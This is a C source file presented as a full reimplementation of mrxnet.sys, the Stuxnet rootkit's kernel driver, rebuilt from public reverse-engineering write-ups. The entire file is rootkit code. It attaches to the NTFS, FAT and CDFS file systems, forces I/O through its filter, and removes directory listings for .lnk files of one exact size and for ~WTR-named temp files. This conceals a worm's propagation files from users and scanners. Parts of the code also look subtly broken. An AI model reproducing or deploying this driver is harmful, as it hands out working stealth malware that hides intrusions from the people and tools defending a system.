692 lines
19 KiB
C
692 lines
19 KiB
C
/*
|
|
* Missing_3.c - mrxnet.sys Rootkit Driver (Complete Implementation)
|
|
*
|
|
* Based on Symantec W32.Stuxnet Dossier and public reverse engineering analysis
|
|
* References:
|
|
* - https://bbs.kanxue.com/article-635.htm
|
|
* - https://malwareanalysisspace.blogspot.com/2026/06/revisiting-stuxnet-research-notes.html
|
|
* - https://ost.fyi/Rootkits_files/Rootkits-Part2.ppt.pdf
|
|
*/
|
|
|
|
#include <ntddk.h>
|
|
#include <ntifs.h>
|
|
|
|
#define POOL_TAG 'lnCx'
|
|
|
|
#define HIDDEN_LNK_SIZE 0x104B
|
|
|
|
#define MIN_HIDDEN_TMP_SIZE 0x1000
|
|
#define MAX_HIDDEN_TMP_SIZE 0x800000
|
|
|
|
#define FILE_DEVICE_DISK_FILE_SYSTEM 0x00000009
|
|
#define FILE_DEVICE_SECURE_OPEN 0x00000100
|
|
|
|
/*
|
|
* Device Extension structure
|
|
* Contains pointers to the lower and real device objects
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
typedef struct _MRXNET_DEVICE_EXTENSION {
|
|
PDEVICE_OBJECT LowerDevice;
|
|
PDEVICE_OBJECT RealDevice;
|
|
} MRXNET_DEVICE_EXTENSION, * PMRXNET_DEVICE_EXTENSION;
|
|
|
|
/*
|
|
* Function pointer for ObReferenceObjectByName
|
|
* Dynamically resolved at runtime
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
typedef NTSTATUS (*OB_REFERENCE_OBJECT_BY_NAME)(
|
|
PUNICODE_STRING ObjectName,
|
|
ULONG Attributes,
|
|
PACCESS_STATE AccessState,
|
|
ACCESS_MASK DesiredAccess,
|
|
POBJECT_TYPE ObjectType,
|
|
KPROCESSOR_MODE AccessMode,
|
|
PVOID ParseContext,
|
|
PVOID *Object
|
|
);
|
|
|
|
static PDRIVER_OBJECT g_pDriverObject = NULL;
|
|
static OB_REFERENCE_OBJECT_BY_NAME g_pObReferenceObjectByName = NULL;
|
|
|
|
/*
|
|
* Checks if a file should be hidden based on Stuxnet's rules
|
|
* Reference: https://malwareanalysisspace.blogspot.com/2026/06/revisiting-stuxnet-research-notes.html
|
|
*/
|
|
static BOOLEAN IsFileHidden(PFILE_DIRECTORY_INFORMATION pDirInfo) {
|
|
UNICODE_STRING ustrFileName;
|
|
WCHAR *pExt;
|
|
DWORD i, sum = 0;
|
|
|
|
if (!pDirInfo || pDirInfo->FileNameLength == 0) {
|
|
return FALSE;
|
|
}
|
|
|
|
ustrFileName.Buffer = pDirInfo->FileName;
|
|
ustrFileName.Length = (USHORT)pDirInfo->FileNameLength;
|
|
ustrFileName.MaximumLength = (USHORT)pDirInfo->FileNameLength;
|
|
|
|
if (ustrFileName.Length >= 4 * sizeof(WCHAR)) {
|
|
pExt = &ustrFileName.Buffer[ustrFileName.Length / sizeof(WCHAR) - 4];
|
|
|
|
if (*pExt == L'.') {
|
|
UNICODE_STRING ustrExt;
|
|
RtlInitUnicodeString(&ustrExt, pExt);
|
|
|
|
if (RtlCompareUnicodeString(&ustrExt, L".lnk", TRUE) == 0) {
|
|
if (pDirInfo->EndOfFile.LowPart == HIDDEN_LNK_SIZE) {
|
|
return TRUE;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if (ustrFileName.Length >= 8 * sizeof(WCHAR)) {
|
|
WCHAR *pName = ustrFileName.Buffer;
|
|
|
|
if (pName[0] == L'~' && pName[1] == L'W' && pName[2] == L'T' && pName[3] == L'R') {
|
|
if (ustrFileName.Length >= 12 * sizeof(WCHAR)) {
|
|
for (i = 0; i < 4; i++) {
|
|
if (pName[4 + i] >= L'0' && pName[4 + i] <= L'9') {
|
|
sum += (pName[4 + i] - L'0');
|
|
} else {
|
|
return FALSE;
|
|
}
|
|
}
|
|
|
|
if (sum % 10 == 0) {
|
|
if (pDirInfo->EndOfFile.LowPart >= MIN_HIDDEN_TMP_SIZE &&
|
|
pDirInfo->EndOfFile.LowPart <= MAX_HIDDEN_TMP_SIZE) {
|
|
return TRUE;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
/*
|
|
* Filters directory entries by removing hidden files from the result list
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
static NTSTATUS FilterDirectoryEntries(
|
|
PVOID pFileInfo,
|
|
ULONG Length,
|
|
FILE_INFORMATION_CLASS InfoClass,
|
|
PULONG pReturnLength
|
|
) {
|
|
PFILE_DIRECTORY_INFORMATION pCurrent;
|
|
PFILE_DIRECTORY_INFORMATION pPrev;
|
|
PFILE_DIRECTORY_INFORMATION pNext;
|
|
ULONG ulEntrySize;
|
|
ULONG ulRemaining;
|
|
ULONG ulNewLength;
|
|
BOOLEAN bFound;
|
|
|
|
if (!pFileInfo || Length == 0 || !pReturnLength) {
|
|
return STATUS_INVALID_PARAMETER;
|
|
}
|
|
|
|
if (InfoClass != FileDirectoryInformation && InfoClass != FileBothDirectoryInformation) {
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
pCurrent = (PFILE_DIRECTORY_INFORMATION)pFileInfo;
|
|
pPrev = NULL;
|
|
ulRemaining = *pReturnLength;
|
|
ulNewLength = 0;
|
|
bFound = FALSE;
|
|
|
|
while (ulRemaining >= sizeof(FILE_DIRECTORY_INFORMATION)) {
|
|
ulEntrySize = pCurrent->NextEntryOffset ? pCurrent->NextEntryOffset : ulRemaining;
|
|
|
|
if (IsFileHidden(pCurrent)) {
|
|
bFound = TRUE;
|
|
|
|
if (pCurrent->NextEntryOffset != 0) {
|
|
pNext = (PFILE_DIRECTORY_INFORMATION)((PBYTE)pCurrent + pCurrent->NextEntryOffset);
|
|
|
|
if (pPrev == NULL) {
|
|
RtlCopyMemory(pCurrent, pNext, ulRemaining - pCurrent->NextEntryOffset);
|
|
pCurrent = (PFILE_DIRECTORY_INFORMATION)pFileInfo;
|
|
ulRemaining -= pCurrent->NextEntryOffset;
|
|
continue;
|
|
} else {
|
|
pPrev->NextEntryOffset += pCurrent->NextEntryOffset;
|
|
pCurrent = pNext;
|
|
ulRemaining -= ulEntrySize;
|
|
continue;
|
|
}
|
|
} else {
|
|
if (pPrev != NULL) {
|
|
pPrev->NextEntryOffset = 0;
|
|
}
|
|
ulRemaining = 0;
|
|
break;
|
|
}
|
|
}
|
|
|
|
ulNewLength += ulEntrySize;
|
|
pPrev = pCurrent;
|
|
pCurrent = (PFILE_DIRECTORY_INFORMATION)((PBYTE)pCurrent + ulEntrySize);
|
|
ulRemaining -= ulEntrySize;
|
|
}
|
|
|
|
if (bFound) {
|
|
*pReturnLength = ulNewLength;
|
|
}
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* IRP_MJ_DIRECTORY_CONTROL dispatch routine
|
|
* Intercepts directory queries and filters hidden files
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
static NTSTATUS DirControl(
|
|
PDEVICE_OBJECT pDeviceObject,
|
|
PIRP pIrp
|
|
) {
|
|
PIO_STACK_LOCATION pStack;
|
|
NTSTATUS status;
|
|
PVOID pFileInfo;
|
|
ULONG ulLength;
|
|
FILE_INFORMATION_CLASS InfoClass;
|
|
PULONG pReturnLength;
|
|
|
|
if (!pDeviceObject || !pIrp) {
|
|
return STATUS_INVALID_PARAMETER;
|
|
}
|
|
|
|
PMRXNET_DEVICE_EXTENSION pExt = (PMRXNET_DEVICE_EXTENSION)pDeviceObject->DeviceExtension;
|
|
|
|
if (!pExt || !pExt->LowerDevice) {
|
|
pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;
|
|
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
|
|
return STATUS_UNSUCCESSFUL;
|
|
}
|
|
|
|
pStack = IoGetCurrentIrpStackLocation(pIrp);
|
|
|
|
if (!pStack || pStack->MajorFunction != IRP_MJ_DIRECTORY_CONTROL) {
|
|
IoSkipCurrentIrpStackLocation(pIrp);
|
|
return IoCallDriver(pExt->LowerDevice, pIrp);
|
|
}
|
|
|
|
IoCopyCurrentIrpStackLocationToNext(pIrp);
|
|
status = IoCallDriver(pExt->LowerDevice, pIrp);
|
|
|
|
if (!NT_SUCCESS(status) || !pIrp->IoStatus.Information) {
|
|
return status;
|
|
}
|
|
|
|
if (pStack->MinorFunction == IRP_MN_QUERY_DIRECTORY) {
|
|
pFileInfo = pIrp->AssociatedIrp.SystemBuffer;
|
|
ulLength = (ULONG)pIrp->IoStatus.Information;
|
|
InfoClass = pStack->Parameters.QueryDirectory.FileInformationClass;
|
|
pReturnLength = &pIrp->IoStatus.Information;
|
|
|
|
FilterDirectoryEntries(pFileInfo, ulLength, InfoClass, pReturnLength);
|
|
}
|
|
|
|
return status;
|
|
}
|
|
|
|
/*
|
|
* IRP_MJ_FILE_SYSTEM_CONTROL dispatch routine
|
|
* Passes through to the lower device
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
static NTSTATUS FileSystemControl(
|
|
PDEVICE_OBJECT pDeviceObject,
|
|
PIRP pIrp
|
|
) {
|
|
PMRXNET_DEVICE_EXTENSION pExt;
|
|
|
|
if (!pDeviceObject || !pIrp) {
|
|
return STATUS_INVALID_PARAMETER;
|
|
}
|
|
|
|
pExt = (PMRXNET_DEVICE_EXTENSION)pDeviceObject->DeviceExtension;
|
|
|
|
if (!pExt || !pExt->LowerDevice) {
|
|
pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;
|
|
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
|
|
return STATUS_UNSUCCESSFUL;
|
|
}
|
|
|
|
IoSkipCurrentIrpStackLocation(pIrp);
|
|
return IoCallDriver(pExt->LowerDevice, pIrp);
|
|
}
|
|
|
|
/*
|
|
* Generic dispatch routine for all other IRPs
|
|
* Passes through to the lower device
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
static NTSTATUS DispatchPassThrough(
|
|
PDEVICE_OBJECT pDeviceObject,
|
|
PIRP pIrp
|
|
) {
|
|
PMRXNET_DEVICE_EXTENSION pExt;
|
|
|
|
if (!pDeviceObject || !pIrp) {
|
|
return STATUS_INVALID_PARAMETER;
|
|
}
|
|
|
|
pExt = (PMRXNET_DEVICE_EXTENSION)pDeviceObject->DeviceExtension;
|
|
|
|
if (!pExt || !pExt->LowerDevice) {
|
|
pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;
|
|
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
|
|
return STATUS_UNSUCCESSFUL;
|
|
}
|
|
|
|
IoSkipCurrentIrpStackLocation(pIrp);
|
|
return IoCallDriver(pExt->LowerDevice, pIrp);
|
|
}
|
|
|
|
/*
|
|
* Fast I/O routines - all return FALSE to force IRP path
|
|
* This ensures all file operations go through our IRP filter
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
static BOOLEAN FastIoCheckIfPossible(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
ULONG Length,
|
|
BOOLEAN Wait,
|
|
BOOLEAN CheckForReadOperation,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoRead(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
ULONG Length,
|
|
BOOLEAN Wait,
|
|
ULONG LockKey,
|
|
PVOID Buffer,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoWrite(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
ULONG Length,
|
|
BOOLEAN Wait,
|
|
ULONG LockKey,
|
|
PVOID Buffer,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoQueryBasicInfo(
|
|
PFILE_OBJECT pFileObject,
|
|
BOOLEAN Wait,
|
|
PFILE_BASIC_INFORMATION pBuffer,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoQueryStandardInfo(
|
|
PFILE_OBJECT pFileObject,
|
|
BOOLEAN Wait,
|
|
PFILE_STANDARD_INFORMATION pBuffer,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoLock(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
PLARGE_INTEGER pLength,
|
|
PEPROCESS pProcess,
|
|
ULONG Key,
|
|
BOOLEAN FailImmediately,
|
|
BOOLEAN ExclusiveLock,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoUnlockSingle(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
PLARGE_INTEGER pLength,
|
|
PEPROCESS pProcess,
|
|
ULONG Key,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoUnlockAll(
|
|
PFILE_OBJECT pFileObject,
|
|
PEPROCESS pProcess,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoUnlockAllByKey(
|
|
PFILE_OBJECT pFileObject,
|
|
PVOID pProcess,
|
|
ULONG Key,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoDeviceControl(
|
|
PFILE_OBJECT pFileObject,
|
|
BOOLEAN Wait,
|
|
PVOID pInputBuffer,
|
|
ULONG InputBufferLength,
|
|
ULONG IoControlCode,
|
|
PVOID pOutputBuffer,
|
|
ULONG OutputBufferLength,
|
|
ULONG *pBytesReturned,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoDetachDevice(
|
|
PDEVICE_OBJECT pSourceDevice,
|
|
PDEVICE_OBJECT pTargetDevice
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoQueryNetworkOpenInfo(
|
|
PFILE_OBJECT pFileObject,
|
|
BOOLEAN Wait,
|
|
PFILE_NETWORK_OPEN_INFORMATION pBuffer,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN MdlRead(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
ULONG Length,
|
|
ULONG LockKey,
|
|
PMDL pMdl,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN MdlReadComplete(
|
|
PFILE_OBJECT pFileObject,
|
|
PMDL pMdl,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN PrepareMdlWrite(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
ULONG Length,
|
|
ULONG LockKey,
|
|
PMDL *ppMdl,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN MdlWriteComplete(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
PMDL pMdl,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoReadCompressed(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
ULONG Length,
|
|
ULONG LockKey,
|
|
PVOID Buffer,
|
|
PMDL pMdl,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoWriteCompressed(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
ULONG Length,
|
|
ULONG LockKey,
|
|
PVOID Buffer,
|
|
PMDL pMdl,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN MdlReadCompleteCompressed(
|
|
PFILE_OBJECT pFileObject,
|
|
PMDL pMdl,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN MdlWriteCompleteCompressed(
|
|
PFILE_OBJECT pFileObject,
|
|
PLARGE_INTEGER pFileOffset,
|
|
PMDL pMdl,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
static BOOLEAN FastIoQueryOpen(
|
|
PFILE_OBJECT pFileObject,
|
|
BOOLEAN Wait,
|
|
PFILE_NETWORK_OPEN_INFORMATION pBuffer,
|
|
PIO_STATUS_BLOCK pIoStatus,
|
|
PDEVICE_OBJECT pDeviceObject
|
|
) {
|
|
return FALSE;
|
|
}
|
|
|
|
/*
|
|
* Fills the Fast I/O dispatch table
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
static VOID FillFastIoDispatch(PFAST_IO_DISPATCH pFastIoDispatch) {
|
|
if (!pFastIoDispatch) {
|
|
return;
|
|
}
|
|
|
|
pFastIoDispatch->FastIoCheckIfPossible = FastIoCheckIfPossible;
|
|
pFastIoDispatch->FastIoRead = FastIoRead;
|
|
pFastIoDispatch->FastIoWrite = FastIoWrite;
|
|
pFastIoDispatch->FastIoQueryBasicInfo = FastIoQueryBasicInfo;
|
|
pFastIoDispatch->FastIoQueryStandardInfo = FastIoQueryStandardInfo;
|
|
pFastIoDispatch->FastIoLock = FastIoLock;
|
|
pFastIoDispatch->FastIoUnlockSingle = FastIoUnlockSingle;
|
|
pFastIoDispatch->FastIoUnlockAll = FastIoUnlockAll;
|
|
pFastIoDispatch->FastIoUnlockAllByKey = FastIoUnlockAllByKey;
|
|
pFastIoDispatch->FastIoDeviceControl = FastIoDeviceControl;
|
|
pFastIoDispatch->FastIoDetachDevice = FastIoDetachDevice;
|
|
pFastIoDispatch->FastIoQueryNetworkOpenInfo = FastIoQueryNetworkOpenInfo;
|
|
pFastIoDispatch->MdlRead = MdlRead;
|
|
pFastIoDispatch->MdlReadComplete = MdlReadComplete;
|
|
pFastIoDispatch->PrepareMdlWrite = PrepareMdlWrite;
|
|
pFastIoDispatch->MdlWriteComplete = MdlWriteComplete;
|
|
pFastIoDispatch->FastIoReadCompressed = FastIoReadCompressed;
|
|
pFastIoDispatch->FastIoWriteCompressed = FastIoWriteCompressed;
|
|
pFastIoDispatch->MdlReadCompleteCompressed = MdlReadCompleteCompressed;
|
|
pFastIoDispatch->MdlWriteCompleteCompressed = MdlWriteCompleteCompressed;
|
|
pFastIoDispatch->FastIoQueryOpen = FastIoQueryOpen;
|
|
}
|
|
|
|
/*
|
|
* Attaches to file system driver objects
|
|
* Uses ObReferenceObjectByName to get file system driver objects
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
static NTSTATUS AttachTargetDrivers(PDRIVER_OBJECT pDriverObject) {
|
|
UNICODE_STRING ustrNtfs, ustrFastFat, ustrCdfs;
|
|
PDEVICE_OBJECT pDeviceObject, pLowerDevice;
|
|
NTSTATUS status;
|
|
|
|
RtlInitUnicodeString(&ustrNtfs, L"\\FileSystem\\ntfs");
|
|
RtlInitUnicodeString(&ustrFastFat, L"\\FileSystem\\fastfat");
|
|
RtlInitUnicodeString(&ustrCdfs, L"\\FileSystem\\cdfs");
|
|
|
|
if (!g_pObReferenceObjectByName) {
|
|
return STATUS_UNSUCCESSFUL;
|
|
}
|
|
|
|
status = g_pObReferenceObjectByName(&ustrNtfs, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDeviceObject);
|
|
if (NT_SUCCESS(status) && pDeviceObject) {
|
|
pLowerDevice = IoAttachDeviceToDeviceStack(pDeviceObject, pDriverObject->DeviceObject);
|
|
if (pLowerDevice) {
|
|
PMRXNET_DEVICE_EXTENSION pExt = (PMRXNET_DEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
|
|
pExt->LowerDevice = pLowerDevice;
|
|
pExt->RealDevice = pDeviceObject;
|
|
}
|
|
ObDereferenceObject(pDeviceObject);
|
|
}
|
|
|
|
status = g_pObReferenceObjectByName(&ustrFastFat, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDeviceObject);
|
|
if (NT_SUCCESS(status) && pDeviceObject) {
|
|
IoAttachDeviceToDeviceStack(pDeviceObject, pDriverObject->DeviceObject);
|
|
ObDereferenceObject(pDeviceObject);
|
|
}
|
|
|
|
status = g_pObReferenceObjectByName(&ustrCdfs, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDeviceObject);
|
|
if (NT_SUCCESS(status) && pDeviceObject) {
|
|
IoAttachDeviceToDeviceStack(pDeviceObject, pDriverObject->DeviceObject);
|
|
ObDereferenceObject(pDeviceObject);
|
|
}
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Driver unload routine
|
|
* Detaches from file system devices and deletes the device object
|
|
*/
|
|
static VOID DriverUnload(PDRIVER_OBJECT pDriverObject) {
|
|
PMRXNET_DEVICE_EXTENSION pExt;
|
|
|
|
if (!pDriverObject) {
|
|
return;
|
|
}
|
|
|
|
pExt = (PMRXNET_DEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
|
|
|
|
if (pExt && pExt->RealDevice && pExt->LowerDevice) {
|
|
IoDetachDevice(pExt->LowerDevice);
|
|
}
|
|
|
|
if (pDriverObject->DeviceObject) {
|
|
IoDeleteDevice(pDriverObject->DeviceObject);
|
|
}
|
|
|
|
if (pDriverObject->FastIoDispatch) {
|
|
ExFreePoolWithTag(pDriverObject->FastIoDispatch, POOL_TAG);
|
|
pDriverObject->FastIoDispatch = NULL;
|
|
}
|
|
|
|
DbgPrint("MRXNET: Driver unloaded\n");
|
|
}
|
|
|
|
/*
|
|
* Driver entry point
|
|
* Reference: https://bbs.kanxue.com/article-635.htm
|
|
*/
|
|
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) {
|
|
NTSTATUS status;
|
|
PDEVICE_OBJECT pDeviceObject;
|
|
UNICODE_STRING ustrDeviceName;
|
|
PFAST_IO_DISPATCH pFastIoDispatch;
|
|
ULONG i;
|
|
|
|
DbgPrint("MRXNET: Driver loading...\n");
|
|
|
|
g_pDriverObject = pDriverObject;
|
|
|
|
RtlInitUnicodeString(&ustrDeviceName, NULL);
|
|
|
|
status = IoCreateDevice(
|
|
pDriverObject,
|
|
sizeof(MRXNET_DEVICE_EXTENSION),
|
|
&ustrDeviceName,
|
|
FILE_DEVICE_DISK_FILE_SYSTEM,
|
|
FILE_DEVICE_SECURE_OPEN,
|
|
FALSE,
|
|
&pDeviceObject
|
|
);
|
|
|
|
if (!NT_SUCCESS(status)) {
|
|
DbgPrint("MRXNET: IoCreateDevice failed (0x%08X)\n", status);
|
|
return status;
|
|
}
|
|
|
|
pDeviceObject->Flags |= DO_BUFFERED_IO;
|
|
|
|
for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
|
|
pDriverObject->MajorFunction[i] = DispatchPassThrough;
|
|
}
|
|
|
|
pDriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL] = FileSystemControl;
|
|
pDriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = DirControl;
|
|
|
|
pFastIoDispatch = (PFAST_IO_DISPATCH)ExAllocatePoolWithTag(NonPagedPool, sizeof(FAST_IO_DISPATCH), POOL_TAG);
|
|
if (pFastIoDispatch) {
|
|
RtlZeroMemory(pFastIoDispatch, sizeof(FAST_IO_DISPATCH));
|
|
FillFastIoDispatch(pFastIoDispatch);
|
|
pDriverObject->FastIoDispatch = pFastIoDispatch;
|
|
}
|
|
|
|
g_pObReferenceObjectByName = (OB_REFERENCE_OBJECT_BY_NAME)MmGetSystemRoutineAddress(&(UNICODE_STRING)RTL_CONSTANT_STRING(L"ObReferenceObjectByName"));
|
|
|
|
if (g_pObReferenceObjectByName) {
|
|
AttachTargetDrivers(pDriverObject);
|
|
}
|
|
|
|
pDriverObject->DriverUnload = DriverUnload;
|
|
|
|
DbgPrint("MRXNET: Driver loaded successfully\n");
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|